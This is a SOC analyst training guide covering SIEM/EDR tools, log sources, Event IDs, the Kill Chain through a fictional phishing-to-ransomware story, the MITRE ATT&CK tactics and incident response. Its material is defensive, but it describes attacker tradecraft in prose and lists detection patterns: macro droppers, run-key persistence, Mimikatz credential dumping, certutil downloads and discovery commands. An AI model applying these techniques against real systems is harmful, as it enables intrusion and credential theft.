📡 Module 01

What is a SOC?

A Security Operations Centre is the nerve centre of an organization's cybersecurity — a dedicated team monitoring, detecting, and responding to threats 24/7.

💡Simple Definition

Think of a SOC like a hospital emergency room for cyber incidents. Just like an ER has doctors monitoring patients around the clock and responding to emergencies, a SOC has security analysts watching networks and systems — catching threats before they cause serious damage.

The three pillars of any SOC are: People Process Technology

🎯Core Mission

DETECT	Spot threats before they cause damage
INVESTIGATE	Confirm whether alerts are real attacks
RESPOND	Contain and neutralize incidents
REPORT	Communicate findings to management

📊Why Every Organization Needs a SOC

Threat Reality	What It Means for Organizations
Cyberattack happens every 39 seconds	Constant targeting — automated monitoring is essential
Average breach detection: 207 days	Attackers go undetected for months without a SOC
Average breach cost: $4.45 million	SOC investment pays back many times over
95% of breaches involve human error	Analysts catch what automated tools miss

🏢 In-House SOC

Organization runs its own team. Full control, higher cost. Common in banks and government agencies.

🤝 MSSP / Co-Managed

Managed Security Service Provider. Outsourced SOC. Cost-effective. Popular with small-to-mid businesses.

💻 Virtual SOC

Fully remote team, no physical room. Flexible modern model that became standard after 2020.

💡 Interview Tip

Always mention the three pillars: People (analysts), Process (IR procedures), and Technology (SIEM, EDR, firewalls). Interviewers want structured thinking, not just buzzwords.

🏗️ Module 02

SOC Fundamentals

Who works in a SOC, what do they do, and what tools do they use every day?

Analyst Tiers — The SOC Hierarchy

L1
Tier 1 — Alert Triage Analyst (This is you!)First line of defense. Monitors SIEM alerts 24/7. Classifies alerts as True Positive or False Positive. Escalates confirmed incidents to L2. Skills needed: networking basics, reading logs, following playbooks, SIEM navigation.
L2
Tier 2 — Incident ResponderReceives escalations from L1. Performs deeper forensic investigation. Hunts for attacker persistence mechanisms. Leads containment. Writes detailed incident reports. Skills: digital forensics, threat hunting, advanced log correlation.
L3
Tier 3 — Threat Hunter / Senior AnalystProactively searches for threats that bypassed all automated detection. Deep malware reverse engineering. Creates new SIEM detection rules and YARA signatures. Works closely with threat intelligence teams.
MGR
SOC ManagerManages team, handles executive escalations, reports to CISO, manages tooling budget. Drives SLA compliance and continuous process improvement.

Core Tools Stack

🧠 SIEM — Security Information & Event Management

The brain of the SOC. Collects logs from every system, correlates events, and fires alerts. As L1, you'll spend most of your day here.

SplunkMicrosoft SentinelIBM QRadarElastic SIEM

🛡️ EDR — Endpoint Detection & Response

Monitors each laptop and server for malicious behaviour. Detects fileless malware and lateral movement that AV misses. L1 uses it to review process trees and isolate infected endpoints.

CrowdStrike FalconSentinelOneMS Defender

🔥 Firewall / IDS / IPS

Firewall allows/blocks traffic. IDS alerts on suspicious traffic. IPS blocks it automatically. These generate the network logs you'll analyze daily.

Palo AltoFortinetSnortSuricata

🎫 Ticketing & Case Management

Every alert investigated gets a ticket. Accountability and audit trail. If you didn't write it down, it didn't happen. L1 opens, updates, and closes tickets constantly.

ServiceNowTheHiveJira

🔍 Threat Intelligence Platforms

Provides context: Is this IP malicious? What malware family? Enriches raw alerts with real-world threat data so you make better decisions faster.

VirusTotalMISPAlienVault OTXRecorded Future

⚡ SOAR (See Module 09)

Automates repetitive tasks — auto-enriches IOCs, auto-blocks IPs, auto-creates tickets. Lets analysts focus on real decisions rather than routine lookups.

🗺️ Module 03

SOC Environment Diagram

How does a real SOC monitor an organization? Here's a complete architecture showing how logs from every source flow into the SIEM for analyst review.

// ACME CORP — Live Network Topology

📋 Log Sources Reference

Source	Log Type	What It Shows
Windows Endpoints	Windows Event Logs (.evtx)	Login attempts, process creation, privilege escalation (Event IDs 4624, 4625, 4688)
Linux Servers	Syslog, auth.log	SSH logins, sudo commands, service starts/stops
Firewalls / NGFW	NetFlow, traffic logs	Connections allowed/blocked, ports, bytes transferred, geo-IP
Web Servers	Apache/Nginx access logs	HTTP requests, status codes, user-agents — reveals SQLi/XSS attempts
Email Gateway	Mail delivery logs	Sender, recipient, attachments, SPF/DKIM/DMARC results
AWS / Azure	CloudTrail, Activity Logs	API calls, IAM changes, resource creation/deletion
EDR Agent	Process & behaviour telemetry	Running processes, file changes, network connections per endpoint

🔌 Module 04

Networking for SOC

Networking is the #1 foundation skill. Most attacks travel over networks — so understanding networking means understanding attacks.

🔁 OSI Model — Your Cheat Sheet

#	Layer	SOC Relevance
7	Application	HTTP, DNS, SMTP — where most attacks happen (SQLi, XSS, phishing)
6	Presentation	Encryption/SSL inspection points
5	Session	Session hijacking attacks
4	Transport	TCP/UDP ports — port scanning, DDoS
3	Network	IP addresses — routing, IP spoofing, SSRF
2	Data Link	MAC addresses — ARP spoofing
1	Physical	Cables/hardware — physical intrusion

🚪 Critical Ports to Know

Protocol	Port	Why It Matters
HTTP/HTTPS	80/443	Web traffic — main attack surface
DNS	53	Domain lookups — tunneling, C2 comms
SSH	22	Remote access — brute force target
RDP	3389	Remote Desktop — ransomware entry point
SMB	445	File sharing — WannaCry, lateral movement
SMTP	25	Email delivery — phishing route
Telnet	23	Unencrypted — should NEVER be open

💡 Must Practice

Download Wireshark (free) and analyze packet captures. Being able to read a PCAP is a skill many interviewers specifically test. Find practice PCAPs at malware-traffic-analysis.net and TryHackMe.

💻 Module 05

OS Knowledge for SOC

SOC analysts investigate Windows and Linux daily. Knowing where logs live and which Event IDs matter is essential interview knowledge.

🪟 Windows — Critical Event IDs

Event ID	Meaning	Relevance
4624	Successful login	Baseline for normal activity
4625	Failed login	Brute force indicator
4720	User account created	Unauthorized account creation
4732	Added to admin group	Privilege escalation
1102	Audit log cleared	Attacker covering tracks ⚠
4688	Process creation	Detect malware execution
7045	New service installed	Persistence mechanism

🐧 Linux — Critical Log Locations

Log File	Contains
`/var/log/auth.log`	SSH logins, sudo, su attempts
`/var/log/syslog`	General system events
`/var/log/apache2/`	Web server access & errors
`/var/log/cron`	Scheduled tasks — persistence
`/etc/passwd`	User accounts — check for unknowns
`/etc/crontab`	System cron — attacker persistence

⚠️ Suspicious Process Patterns

Legitimate Process	Suspicious Variant	Red Flag
svchost.exe	svch0st.exe	Typosquatting of system process
explorer.exe (from C:\Windows\)	explorer.exe (wrong path)	Should only run from C:\Windows\
cmd.exe	Word.exe → cmd.exe	Office macro spawning shell
powershell.exe	powershell -EncodedCommand	Base64 encoded = suspicious

⛓️ Module 06

Cyber Kill Chain

Created by Lockheed Martin, the Cyber Kill Chain breaks every cyberattack into 7 stages. Your job as a SOC analyst: break the chain as early as possible. Earlier = far less damage.

💡 The Core Idea

Every real cyberattack — from ransomware to espionage — follows these same 7 stages in order. If defenders can detect and stop the attacker at Stage 1 or 2, the attacker achieves nothing. If they're only detected at Stage 7, the damage is already done. Your detection rules target specific stages.

🔎 Real Story Used Throughout

We'll follow one complete attack story — "Operation Invoice" — where an attacker targets ACME Corp's finance department. Watch how each stage unfolds.

Stage 1 · Before Any Attack

🔍 Reconnaissance — "Casing the Target"

The attacker gathers as much information as possible about the target before doing anything. No contact with the target yet — just research. Think of it like a thief studying a bank's floor plan, shift schedules, and camera positions before the heist.

Passive Recon: Google, LinkedIn, company website, WHOIS lookups, job postings (reveals which tech stack they use).
Active Recon: Port scanning (Nmap), subdomain enumeration, email harvesting.

📌 Operation Invoice — Stage 1: Attacker searches LinkedIn and finds Sarah Jones, Finance Manager at ACME Corp. Notes her email format from a conference bio: [email protected]. Scans ACME's website and discovers they use Microsoft 365. Now they know exactly who to target and how.

✅ SOC Defense: Monitor for external port scans hitting your perimeter. Use honeypots. Minimize OSINT exposure.

Stage 2 · Preparing the Weapon

🔧 Weaponization — "Building the Trap"

The attacker crafts their weapon — a malicious file, a phishing email, or an exploit kit. Still no contact with the target. The attacker is in their own environment building their tools. This is why threat intelligence matters — defenders can identify attacker infrastructure before it's even used.

📌 Operation Invoice — Stage 2: Attacker creates "Q4_Invoice_ACME.xlsx" — a real-looking Excel file with a malicious macro hidden inside. Registers the domain acme-invoices.com to host the malware payload. Tests it against major AV engines to make sure it goes undetected.

✅ SOC Defense: Threat intelligence feeds. Monitor for newly registered domains typosquatting your brand.

Stage 3 · First Contact

📨 Delivery — "Sending the Trap"

The weapon is delivered to the target. This is the first point of contact between attacker and victim. The most common delivery method is a phishing email — but also includes USB drops, malicious websites (watering holes), and drive-by downloads.

📌 Operation Invoice — Stage 3: Attacker sends an email to Sarah from [email protected] — "Please review the attached Q4 invoice from your supplier." The email passes basic spam filters. The Excel file is attached.

✅ SOC Defense: Email gateway with sandbox scanning. SPF/DKIM/DMARC enforcement. User phishing awareness training. URL filtering.

Stage 4 · The Trigger

💥 Exploitation — "Springing the Trap"

The malicious payload triggers. Could be: a user clicking a link, opening a file, enabling macros, or a software vulnerability being exploited with no user action required (zero-click exploits). This is the moment the attacker gets their first foothold.

📌 Operation Invoice — Stage 4: Sarah opens the Excel file. Microsoft Office shows a yellow banner: "Macros are disabled. Enable Content?" — Sarah, expecting a legitimate invoice, clicks Enable. The VBA macro executes immediately. EDR alert fires: "Suspicious macro execution in EXCEL.EXE"

✅ SOC Defense: EDR behavioural detection. Disable macros by Group Policy. Application allowlisting. Patch management for zero-days.

Stage 5 · Taking Root

🌱 Installation — "Setting Up Camp"

The attacker installs persistent malware so they can maintain access even after reboots, credential changes, or security tool updates. Common persistence mechanisms include registry run keys, scheduled tasks, new services, and DLL hijacking. This is where they make themselves at home.

📌 Operation Invoice — Stage 5: The Excel macro downloads a Remote Access Trojan (RAT) from acme-invoices.com/update.exe. The RAT installs itself to C:\Users\Sarah\AppData\Roaming\svchost32.exe and adds a registry key: HKLM\Software\Microsoft\Windows\CurrentVersion\Run so it starts every time Sarah logs in.

✅ SOC Defense: Monitor registry run keys (Event ID 7045). Sysmon process creation rules. EDR detecting file writes to AppData.

Stage 6 · Remote Control

📡 Command & Control (C2) — "Phoning Home"

The installed malware connects back to the attacker's server (Command & Control / C2 server). Now the attacker has a remote keyboard on the victim's machine. They can send commands, receive stolen data, and launch further attacks — all over what looks like normal HTTPS traffic to blend in.

📌 Operation Invoice — Stage 6: The RAT connects to 185.220.101.45 over HTTPS port 443 every 5 minutes (beaconing). The attacker's terminal shows: "Connection received: ACME-SARAH-LAPTOP | User: sarah.jones | Domain: ACMECORP". They now have full control of her machine.

✅ SOC Defense: Monitor outbound HTTPS to new/unknown IPs. Detect beaconing (regular exact-interval connections). DNS filtering. Proxy logs analysis.

Stage 7 · The Endgame

🎯 Actions on Objectives — "The Actual Crime"

The attacker achieves their goal. Everything before this was just preparation. Objectives vary by attacker: financial criminals want to steal money or data, nation-state attackers want espionage, ransomware gangs want to encrypt and extort, hacktivists want to cause disruption. At this stage, the damage is being done.

📌 Operation Invoice — Stage 7: From Sarah's laptop, the attacker uses Mimikatz to dump domain credentials. They move laterally to the Domain Controller using stolen admin credentials. They exfiltrate 50GB of financial records. Then deploy ransomware across the entire domain — 200 machines encrypted. Ransom note: "Pay $2M in Bitcoin within 72 hours."

✅ SOC Defense: Network segmentation to limit lateral movement. DLP tools to detect large data transfers. EDR detecting Mimikatz signatures and shadow copy deletion.

✅ Key Takeaway

Stage 1–3 prevention = Attacker never gets in. Stage 4–5 detection = Catch them early with limited damage. Stage 6–7 detection = Full incident response required. The goal is always to detect as early as possible.

🗂️ Module 07

MITRE ATT&CK Framework

The universal language of cybersecurity — a living knowledge base that documents exactly how real-world attackers operate, built from actual observed intrusions.

📖 What is MITRE ATT&CK? — Full Definition

MITRE ATT&CK (Adversarial Tactics, Techniques & Common Knowledge) is a globally accessible, continuously updated knowledge base of adversary behavior — based on real-world cyberattacks observed by security researchers, government agencies, and private organizations worldwide.

Developed by MITRE Corporation (a US nonprofit) and first released publicly in 2015, it has become the de facto standard language that security teams, threat intel analysts, red teams, and SOC analysts use to describe, classify, and communicate about attacks with precision.

The framework is organized as a matrix:

Columns = Tactics — the attacker's goal at a given stage (the "why")
Rows = Techniques — the specific method used to achieve that goal (the "how")
Sub-techniques — detailed variations of a technique (the "exactly how")

Currently, ATT&CK for Enterprise contains 14 Tactics, 200+ Techniques, and 400+ Sub-techniques, each with a unique T-code (e.g., T1566.001 = Spear Phishing with Attachment).

💡 Kill Chain vs MITRE — The Key Difference

Kill Chain answers: "What stage of the attack are we at?" (7 broad stages)
MITRE ATT&CK answers: "Exactly HOW is the attacker doing this right now?" (200+ specific techniques)

Example: Kill Chain Stage 5 = "Installation." ATT&CK is more specific: T1053.005 = Scheduled Task persistence or T1547.001 = Registry Run Key persistence. ATT&CK tells you precisely which technique to hunt for.

⚡ How SOC Analysts Use ATT&CK Daily

Alert classification: Map each alert to a technique (e.g., "This PowerShell alert = T1059.001")
Detection rules: Write SIEM rules targeting specific T-codes
Threat hunting: After finding T1059, hunt for related T1003 (credential dumping)
Reporting: "The threat actor used T1566 for initial access and T1486 for impact" — precise, universal language
Gap analysis: Check which techniques you have no detection coverage for

The 14 Tactics — Deep Dive

Every tactic below includes: what it means, the attacker's goal, key techniques, and a real-world example.

TA0043 🔍 Reconnaissance

Attacker's Goal: Gather as much intelligence about the target as possible before any attack begins — without triggering any alerts.

What they're doing: The attacker is a researcher at this stage. They scan public sources, social media, job postings, WHOIS records, and technical databases to map the target's infrastructure, technology stack, employees, and potential weaknesses. No contact with target systems yet.

Key Techniques

T1595 — Active Scanning (Nmap port scans)
T1592 — Gather Victim Host Information
T1589 — Gather Victim Identity Info (LinkedIn harvesting)
T1590 — Gather Victim Network Info (WHOIS, DNS records)

📌 Real Example

APT29 (Cozy Bear) used LinkedIn to identify employees at target organizations, scraped email formats from public conference bios, and ran Shodan scans to find exposed VPN endpoints — all before sending a single phishing email.

🛡️ SOC Defense: Monitor for external port scans on your perimeter. Minimize OSINT footprint. Use honeypots to detect active recon.

TA0042 🔧 Resource Development

Attacker's Goal: Build or acquire the tools, infrastructure, and capabilities needed to carry out the attack — before any target interaction.

What they're doing: Registering lookalike domains, purchasing servers to host malware, setting up C2 infrastructure, creating fake email accounts, buying code-signing certificates, building or buying exploit kits, or compromising legitimate websites to use as staging points.

Key Techniques

T1583.001 — Register attack domains (acme-invoices.com)
T1587.001 — Develop custom malware payloads
T1588.002 — Obtain tools (Cobalt Strike, Metasploit)
T1608.001 — Upload malware to staging server

📌 Real Example

Lazarus Group (North Korea) registered hundreds of fake cryptocurrency company domains days before phishing campaigns — researchers tracked the pattern and attributed attacks by spotting domain infrastructure being set up in advance.

🛡️ SOC Defense: Subscribe to threat intel feeds that track new domain registrations. Use DNS reputation tools to catch newly registered lookalike domains.

TA0001 🚪 Initial Access

Attacker's Goal: Get the very first foothold inside the target environment. This is the moment the attacker crosses from "outside" to "inside."

What they're doing: Delivering a phishing email, exploiting a public-facing vulnerability (unpatched VPN, web application), using valid stolen credentials, or exploiting a supply chain (compromising a trusted software vendor). This is the single most important stage to detect — catching it here means no breach occurs.

Key Techniques

T1566.001 — Spear Phishing with Attachment
T1566.002 — Spear Phishing via Link
T1190 — Exploit Public-Facing Application
T1078 — Valid Accounts (stolen credentials)
T1195 — Supply Chain Compromise

📌 Real Example

SolarWinds attack (2020): Attackers used T1195 (Supply Chain Compromise) — poisoned the SolarWinds Orion software update. 18,000 organizations including US Treasury and DoD installed the malicious update, giving attackers access without a single phishing email.

🛡️ SOC Defense: Email gateway sandbox. MFA on all external-facing services. Patch critical CVEs within 48 hours. Monitor for logins from new geolocations.

TA0002 ⚙️ Execution

Attacker's Goal: Run malicious code on the victim's system to take an action — download more tools, establish C2, escalate privileges, or cause damage.

What they're doing: Using PowerShell, CMD, WMI, or scripting languages to execute payloads. Often abuses built-in Windows tools (called "Living off the Land" / LOLBins) to blend in with normal admin activity and avoid triggering AV signatures.

Key Techniques

T1059.001 — PowerShell execution
T1059.003 — Windows Command Shell (cmd.exe)
T1204.002 — Malicious File (user opens it)
T1047 — Windows Management Instrumentation (WMI)
T1053.005 — Scheduled Task execution

📌 Real Example

Emotet malware uses T1059.001 — PowerShell with Base64-encoded commands to download the next stage payload. EDR alert fires: WINWORD.EXE spawned PowerShell.exe with -EncodedCommand parameter. This process chain is one of the most common L1 alerts you'll see.

🛡️ SOC Defense: Script block logging for PowerShell. SIEM rules for Office spawning cmd/PowerShell. Application allowlisting to block unauthorized execution.

TA0003 🌱 Persistence

Attacker's Goal: Ensure their access survives reboots, password changes, and security tool updates. A persistent attacker can always come back even if their initial malware is removed.

What they're doing: Creating registry run keys, scheduled tasks, new services, or startup folder entries so their malware automatically re-executes. Advanced attackers use firmware implants, bootkit infections, or backdoored admin accounts as persistence.

Key Techniques

T1547.001 — Registry Run Keys (HKLM\Software\Run)
T1053.005 — Scheduled Task creation
T1543.003 — Create/modify Windows Service
T1136 — Create Account (backdoor admin user)
T1505.003 — Web Shell on server

📌 Real Example

Chinese APT41 planted a web shell (T1505.003) on a compromised web server — a simple PHP file that gave them remote command execution access to the server anytime they visited a specific URL. Even after the initial malware was cleaned, the web shell remained active for months.

🛡️ SOC Defense: Windows Event ID 7045 (new service). Monitor registry run keys. Sysmon process creation. Scheduled task creation alerts. Regular web shell scanning on internet-facing servers.

TA0004 🔑 Privilege Escalation

Attacker's Goal: Elevate from a low-privilege account (regular user) to a high-privilege one (local admin, domain admin, SYSTEM) to access more systems and bypass more controls.

What they're doing: Exploiting kernel vulnerabilities, abusing misconfigured services, bypassing User Account Control (UAC), or stealing credentials from higher-privileged processes. Domain admin = keys to the entire kingdom — can access every machine, every share, every database.

Key Techniques

T1548.002 — Bypass User Account Control (UAC)
T1068 — Exploit kernel vulnerability for SYSTEM
T1134 — Access Token Manipulation
T1055 — Process Injection into high-priv process
T1611 — Escape from container to host

📌 Real Example

WannaCry used T1068 — it exploited the EternalBlue vulnerability (MS17-010) to gain SYSTEM-level privileges on vulnerable Windows systems. With SYSTEM access, it could spread to every machine on the network without any user interaction.

🛡️ SOC Defense: EDR alerts on UAC bypass attempts. Event IDs 4672 (special privilege assigned) and 4732 (user added to admin group). Apply patches for known privilege escalation CVEs promptly.

TA0005 🥷 Defense Evasion

Attacker's Goal: Stay hidden. Avoid detection by antivirus, EDR, SIEM rules, and human analysts for as long as possible. The longer they remain undetected, the more damage they can do.

What they're doing: Deleting event logs, disabling AV, obfuscating code, using trusted signed binaries (LOLBins), injecting into legitimate processes, or living inside encrypted traffic. This is the most technique-rich tactic in ATT&CK — attackers invest heavily here.

Key Techniques

T1070.001 — Clear Windows Event Logs (Event ID 1102!)
T1562.001 — Disable AV / EDR software
T1027 — Obfuscated Files / Base64 encoding
T1036 — Masquerading (rename malware as svchost.exe)
T1218 — System Binary Proxy (use certutil.exe to download)

📌 Real Example

Cobalt Strike (used by many ransomware gangs) uses T1027 extensively — all C2 traffic is encrypted and mimics legitimate HTTPS browsing. Payloads are Base64-encoded and injected into memory without ever touching disk, bypassing file-based AV completely. This is called "fileless malware."

🛡️ SOC Defense: Alert on Event ID 1102 (log cleared) — immediate escalation. Canary event logs. Behavioral EDR that doesn't rely on signatures. Alert on LOLBin abuse (certutil, bitsadmin downloading files).

TA0006 🔓 Credential Access

Attacker's Goal: Steal valid usernames and passwords — because legitimate credentials are far more valuable than any malware. With real credentials, attackers blend in perfectly with normal traffic.

What they're doing: Dumping Windows password hashes from memory using Mimikatz, harvesting credentials from browser storage, intercepting Kerberos tickets, or brute-forcing authentication services. Stolen credentials enable lateral movement and persistence that's extremely hard to detect.

Key Techniques

T1003.001 — LSASS Memory dump (Mimikatz)
T1558.003 — Kerberoasting (crack service account passwords)
T1110 — Brute Force / Password Spray
T1555.003 — Credentials from browser password stores
T1056.001 — Keylogging

📌 Real Example

In almost every major ransomware attack, Mimikatz (T1003.001) is used within hours of initial access to dump LSASS memory and extract domain admin credentials. The NotPetya attack spread to 60+ countries in under an hour because it immediately harvested and reused credentials to propagate.

🛡️ SOC Defense: EDR alert on LSASS memory access. Enable Windows Credential Guard. Alert on Mimikatz signatures. Monitor Kerberos ticket anomalies. Enforce MFA so stolen passwords alone are not enough.

TA0007 🗺️ Discovery

Attacker's Goal: Understand the internal environment — what machines exist, what data is stored where, who the high-value targets are, and what security tools are deployed.

What they're doing: Running internal network scans, querying Active Directory for users and groups, checking installed software, identifying security products to evade, and mapping file shares. Discovery often happens very quietly using built-in Windows commands (net, ipconfig, whoami) that generate minimal noise.

Key Techniques

T1018 — Remote System Discovery (net view, nmap)
T1087 — Account Discovery (net user, net group)
T1083 — File and Directory Discovery
T1482 — Domain Trust Discovery
T1518.001 — Security Software Discovery (what AV is installed?)

📌 Real Example

After initial compromise, FIN7 (criminal group) ran a series of discovery commands: whoami /all, net view /domain, nltest /domain_trusts. These commands — each taking under 1 second — gave them a complete map of the domain in minutes. SIEM rule: multiple discovery commands from one host within 5 minutes = alert.

🛡️ SOC Defense: SIEM rule — multiple net/whoami/ipconfig commands from one host within short window. Alert on internal network scanning. Active Directory query monitoring for unusual bulk account lookups.

TA0008 🏃 Lateral Movement

Attacker's Goal: Move from the initially compromised machine to other, more valuable targets inside the network — working toward domain controllers, financial systems, or sensitive data repositories.

What they're doing: Using stolen credentials or exploits to authenticate to other internal systems via RDP, SMB, WMI, or SSH. Pass-the-Hash and Pass-the-Ticket allow movement without knowing plaintext passwords. This is often the stage where one compromised laptop becomes a full organizational breach.

Key Techniques

T1550.002 — Pass the Hash (use NTLM hash without password)
T1550.003 — Pass the Ticket (reuse Kerberos tickets)
T1021.001 — Remote Desktop Protocol (RDP)
T1021.002 — SMB / Windows Admin Shares
T1570 — Lateral Tool Transfer (copy tools to new machines)

📌 Real Example

The Colonial Pipeline ransomware attack: attackers gained initial access through a single VPN account with no MFA, then used T1021 to move laterally across the IT network over 5 days before deploying ransomware — eventually causing fuel shortages across the US East Coast.

🛡️ SOC Defense: Alert on unusual internal RDP or SMB connections. Network segmentation to limit blast radius. Privileged Access Workstations. Alert on PsExec and WMI remote execution. Honeypot credentials in AD.

TA0009 📦 Collection

Attacker's Goal: Identify and gather the data they came to steal — customer records, financial data, intellectual property, emails, or strategic plans — before exfiltrating it out of the network.

What they're doing: Searching file servers and databases, compressing and staging data into archives (usually in a temp folder), capturing screenshots, recording audio/video from compromised workstations, or harvesting email inboxes. Data is often staged locally before exfiltration to avoid triggering data loss prevention (DLP) tools.

Key Techniques

T1114.002 — Remote Email Collection (mailbox access)
T1213 — Data from Information Repositories (SharePoint, Confluence)
T1005 — Data from Local System (searching files)
T1560.001 — Archive Collected Data (WinRAR, 7-Zip)
T1074 — Data Staged (move to temp folder before exfil)

📌 Real Example

In the Marriott hotel breach, attackers used T1114 to harvest 500 million guest records from the Starwood guest reservation database. The breach went undetected for 4 years — from 2014 to 2018 — because data collection was gradual and blended in with normal database queries.

🛡️ SOC Defense: DLP tools monitoring file access patterns. Alert on bulk file reads or zip archive creation in temp folders. Email access auditing — alert on unusual mailbox access from new IPs or devices.

TA0011 📡 Command & Control (C2)

Attacker's Goal: Maintain a reliable, covert communication channel between the attacker and the compromised systems to send commands and receive results — all without being detected.

What they're doing: The installed malware "beacons" (checks in) with the attacker's C2 server at regular intervals over protocols that blend with normal traffic — HTTPS, DNS, or even social media APIs. The attacker can then issue commands, upload additional tools, retrieve stolen data, or trigger the final attack phase.

Key Techniques

T1071.001 — C2 over HTTPS (blends with web traffic)
T1071.004 — C2 over DNS (queries to attacker's DNS server)
T1090 — Proxy / multi-hop to hide true C2 IP
T1132 — Data Encoding (Base64 in HTTP headers)
T1568 — Dynamic Resolution (DGA domains)

📌 Real Example

SUNBURST malware (SolarWinds) used T1568 (DGA) and T1071.001 (HTTPS C2) with a 12–14 day dormancy period after installation before activating — specifically to evade sandbox analysis tools that only run samples for a few minutes. It used legitimate Cloudflare infrastructure as a proxy to hide the true C2 server location.

🛡️ SOC Defense: Detect beaconing (exact-interval outbound HTTPS connections). DNS query analysis for DGA patterns. Proxy logs inspecting certificate anomalies. Threat intel feeds with known C2 IPs and domains.

TA0010 📤 Exfiltration

Attacker's Goal: Get the stolen data out of the victim's network and into attacker-controlled infrastructure — without triggering DLP or network monitoring tools.

What they're doing: Uploading compressed, encrypted archives to cloud storage (Dropbox, Google Drive, mega.nz), exfiltrating over the existing C2 channel, using DNS queries to encode and smuggle data out, or even mailing physical storage media. Timing data exfiltration during business hours in normal-size chunks avoids anomaly detection.

Key Techniques

T1041 — Exfil Over C2 Channel
T1567.002 — Exfil to Cloud Storage (Dropbox)
T1048.003 — Exfil Over Alternative Protocol (DNS)
T1030 — Data Transfer Size Limits (small chunks to avoid detection)
T1020 — Automated Exfiltration

📌 Real Example

The Cl0p ransomware group used T1567 in the MOVEit breach (2023) — exfiltrating hundreds of gigabytes of sensitive data from 1,000+ organizations by uploading data to attacker-controlled cloud endpoints before deploying ransomware. They threatened to publish the data publicly as additional leverage.

🛡️ SOC Defense: DLP policies blocking uploads to unapproved cloud services. Alert on large outbound data transfers especially after hours. Proxy logs monitoring uploads to file-sharing sites. Anomaly detection on DNS query volume.

TA0040 💥 Impact

Attacker's Goal: Achieve the final objective — which could be financial gain (ransomware), disruption of operations, destruction of systems, reputation damage, or geopolitical goals. This is the last tactic and causes the most visible damage.

What they're doing: Encrypting files with ransomware, wiping disks, deleting backups, defacing websites, disrupting services (DDoS), or sabotaging industrial control systems. Ransomware operators typically deploy encryption on a Sunday night when staff coverage is minimal to maximize damage before detection.

Key Techniques

T1486 — Data Encrypted for Impact (Ransomware)
T1490 — Inhibit System Recovery (delete backups, VSS)
T1485 — Data Destruction (wipe disks)
T1498 — Network Denial of Service
T1529 — System Shutdown / Reboot

📌 Real Example

NotPetya (2017) combined T1486 + T1485 + T1490 — it appeared to be ransomware but was actually a destructive wiper. Deleted MBRs, encrypted files, and destroyed backups simultaneously. Caused $10 billion in damages globally. Shipping giant Maersk lost $300M and had to reinstall 45,000 PCs.

🛡️ SOC Defense: EDR alert on vssadmin/shadow copy deletion — immediate P1 escalation. Mass file write anomalies. Immutable offline backups that cannot be reached by ransomware. IR playbook for ransomware ready to execute.

✅ How to Use ATT&CK in an Interview

When describing any attack or alert, map it to ATT&CK using this format: "This alert indicates T1059.001 (PowerShell Execution) under the Execution tactic. I would look for related T1547 (Persistence) and T1003 (Credential Access) activity on the same host." This structured, precise answer signals professional-level thinking.

🚨 Module 08

Incident Response Phases

The structured playbook for handling a cyberattack. Know both NIST and SANS — interviewers ask for both.

NIST Framework (4 Phases)

Preparation → Detection & Analysis → Containment / Eradication / Recovery → Post-Incident Activity

SANS PICERL (6 Phases)

Preparation → Identification → Containment → Eradication → Recovery → Lessons Learned

🛠️

Phase 1

Preparation

Before any incident. Build defenses, write playbooks, train analysts. The most impactful phase — everything done here reduces damage from every future incident.

Write IR playbooks · Train team · Deploy SIEM/EDR · Create asset inventory · Define escalation paths · Run tabletop exercises

🔍

Phase 2

Identification / Detection & Analysis

Detecting that an incident occurred and determining its scope and severity. Is this a True Positive or a False Positive? What's the impact?

Monitor SIEM alerts · Triage (True/False Positive) · Gather IOCs · Classify severity P1/P2/P3 · Notify stakeholders · Document everything

🔒

Phase 3

Containment

Stop the spread. Short-term: isolate systems immediately (stop the bleeding). Long-term: patch the root cause vulnerability.

Isolate infected systems from network · Block attacker IPs/domains · Disable compromised accounts · Capture forensic image before cleanup

🧹

Phase 4

Eradication

Completely remove the threat. Ensure zero persistence mechanisms remain hidden anywhere in the environment.

Delete malware files · Remove attacker accounts · Close exploited vulnerabilities · Patch all affected systems · Confirm no backdoors remain

🔄

Phase 5

Recovery

Restore systems to normal operations. Verify clean before reconnecting to production. Monitor closely for recurrence.

Restore from clean backups · Rebuild affected systems · Monitor post-recovery for reinfection · Gradually restore services · Confirm operations normal

📋

Phase 6

Lessons Learned

Review everything. Write a post-incident report within 2 weeks. This phase makes every future incident cheaper and faster to resolve.

Timeline reconstruction · Root cause analysis · What failed? Update playbooks · Recommend new controls · Debrief the team

⚡ Module 09

SOAR — Security Orchestration, Automation & Response

SOAR automates the repetitive, time-consuming parts of SOC work so analysts can focus on real decisions. It's the force multiplier that lets a small team handle enterprise-scale alert volumes.

🎼 Orchestration

Connects all your security tools — SIEM, EDR, firewall, threat intel — so they work together automatically. Instead of an analyst manually querying 5 different tools, SOAR does it all in seconds.

🤖 Automation

Executes repetitive tasks automatically: enrich an IP, block a domain, reset a password, create a ticket. Tasks that took an L1 analyst 15 minutes now happen in 15 seconds.

📋 Response

Runs pre-written playbooks for specific incident types. Phishing playbook, ransomware playbook, brute force playbook — each automatically performs the right response steps.

SOAR Automated Phishing Response — Flow

🚨
SIEM Alert
Phishing Email Reported

TRIGGER

→

🔍
Auto Enrich
Check URL + Sender via VirusTotal

ENRICH

→

🤔
Decision
Malicious score > 70?

DECIDE

→

⚡
Auto Block
Block URL + Pull emails from all mailboxes

ACTION

→

🎫
Create Ticket
Assign to L1 for review

CLOSE LOOP

⏱️ Without SOAR: ~25 minutes per phishing alert. With SOAR: ~45 seconds. Same quality, 30x faster.

📦 Popular SOAR Platforms

Platform	Key Strength	Used By
Palo Alto XSOAR	Largest integration library (700+ connectors), enterprise-grade	Large enterprise SOCs
Splunk SOAR	Tight Splunk SIEM integration, visual playbook builder	Organizations using Splunk
Microsoft Sentinel + Logic Apps	Native Azure integration, low-code automation	Microsoft-stack organizations
TheHive + Cortex	Open-source, free, great for learning	Budget-conscious / training environments
IBM QRadar SOAR	Compliance-focused automation, strong reporting	Regulated industries

📝 Writing SOAR Playbooks — What L1 Should Know

A playbook is a pre-written automated response script for a specific incident type. As an L1 analyst, you won't write them from scratch initially — but you need to understand them to know what SOAR is doing on your behalf.

Playbook Type	What It Automates
Phishing Response	URL analysis → Block → Pull emails → Reset creds → Create ticket
Brute Force Response	IP geolocation → Risk score → Auto-block if score high → Notify user
Malware Alert	File hash lookup → VirusTotal → If malicious → Isolate endpoint → Escalate L2
C2 Beaconing	Enrich IP → Block at firewall → Isolate host → Create priority ticket

✅ SOAR vs SIEM — Key Difference

